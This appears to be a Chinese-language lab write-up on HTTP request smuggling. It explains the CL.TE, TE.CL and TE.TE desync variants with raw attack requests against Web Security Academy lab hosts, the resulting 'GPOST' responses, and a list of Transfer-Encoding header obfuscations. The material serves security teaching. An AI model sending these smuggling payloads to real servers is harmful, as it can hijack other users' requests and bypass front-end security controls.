請求走私攻擊可讓攻擊者導致其前端請求的一部分被後端伺服器解釋為下一個請求的開始,因此可能會幹擾應用程式處理該請求的方式,造成災難性的後果。
主要出現在前端服務器和後端服務器對請求的解讀不同,因為 HTTP/1.1 規範提供了兩種不同的方式來指定請求的結束位置:
Content-Length
指定訊息正文的長度(以byte為單位)。例如以下,Content-Length: 11表示內容長度11byte為一個請求,所以直到q=smuggling都是整個請求包的內容。
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Transfer-Encoding
用於指定訊息正文使用分塊編碼。這意味著訊息正文包含一個或多個資料塊。每個區塊以byte為單位,後面跟著換行符,然後是區塊內容。0\r\n\r\n
代表訊息結束,如下所示
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
CL.TE漏洞
當前端伺服器使用Content-Length
標頭,後端伺服器使用Transfer-Encoding
標頭,可以使用CL.TE漏洞攻擊。
第一次請求如下,在前端伺服器眼中是1個請求
########### request ##############
POST / HTTP/1.1
Host: aced1f271e82c40580c8869d006b00dd.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
########### response ##############
HTTP/1.1 200 OK
...omit...
以上請求在後端服務器用TE做計算就不是1個請求,因為TE在第一個區塊看到0\r\n\r\n
,所以被視為終止請求,最後後端服器視為以下2個請求
- 請求1-1:
0\r\n\r\n
前的內容,就是G之前的內容,然後將結果HTTP/1.1 200 OK
返回 - 請求1-2:
0\r\n\r\n
後的內容,也就是包含G之後的內容
第二次送出請求如下,從返回結果看到,前面請求的一部分(G)被後端伺服器解釋為下一個請求的開始
########### request ##############
POST / HTTP/1.1
Host: aced1f271e82c40580c8869d006b00dd.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
########### response ##############
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Keep-Alive: timeout=0
Content-Length: 27
"Unrecognized method GPOST"
剛剛請求1-2的G,加上新來的第二個請求,在後端服務器被視為以下內容,因此才會返回”Unrecognized method GPOST”
GPOST / HTTP/1.1
Host: aced1f271e82c40580c8869d006b00dd.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Lab: HTTP request smuggling, basic CL.TE vulnerability
Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
TE.CL漏洞
前端伺服器使用Transfer-Encoding
標頭,後端伺服器使用Content-Length
標頭,可以使用TE.CL漏洞攻擊。
第一次請求如下,在前端服務器的眼中是一個請求,它處理第一個區塊,該區塊的長度為 8byte,它處理第二個區塊,該區塊聲明0\r\n\r\n
,因此被視為終止請求。
########### request ##############
POST / HTTP/1.1
Host: aca51f5c1ed5494080cc042200ff00e6.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
########### response ##############
HTTP/1.1 200 OK
...omit...
但在後端服務器用CL做計算就不是一個請求,因為CL看到長度為4,最後被視為以下2個請求
- 請求1-1:4byte的內容,包含5c之前的內容,然後將結果
HTTP/1.1 200 OK
返回 - 請求1-2:4byte後的內容,就是5c之後的內容
第二次請求如下,從返回結果看到,前面請求的一部分(G)被後端伺服器解釋為下一個請求的開始
########### request ##############
POST / HTTP/1.1
Host: aca51f5c1ed5494080cc042200ff00e6.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
########### response ##############
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Keep-Alive: timeout=0
Content-Length: 27
"Unrecognized method GPOST"
剛剛請求1-2的G,加上新來的第二個請求,在後端服務器被視為以下內容,因此才會返回”Unrecognized method GPOST”
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
POST / HTTP/1.1
...omit...
Lab: HTTP request smuggling, basic TE.CL vulnerability
Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
TE.TE漏洞
如果前端和後端伺服器都支援Transfer-Encoding
標頭,可以透過以某種方式混淆標頭來誘導其中一台伺服器不處理它
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
舉例如下,假如目標前端伺服器使用Transfer-Encoding
標頭,後端伺服器也使用Transfer-Encoding
標頭,
第一次請求如下,在前端服務器的眼中是一個請求,最後該區塊聲明0\r\n\r\n
,因此被視為終止請求。
POST / HTTP/1.1
Host: ac041fb51f8fe016806c19a5000a006c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
但由於後端服務器使用第2個Transfer-encoding
做判斷,結果發現格式有問題,因此切換為使用CL做判斷,因此解讀為2個請求
請求1-1為4byte的內容,如下
POST / HTTP/1.1
Host: ac041fb51f8fe016806c19a5000a006c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
請求1-2為4byte後的內容,如下
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
第二次請求時會返回如下,但其實是將剛剛的請求1-2的結果返回
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Keep-Alive: timeout=0
Content-Length: 27
"Unrecognized method GPOST"
Lab: HTTP request smuggling, obfuscating the TE header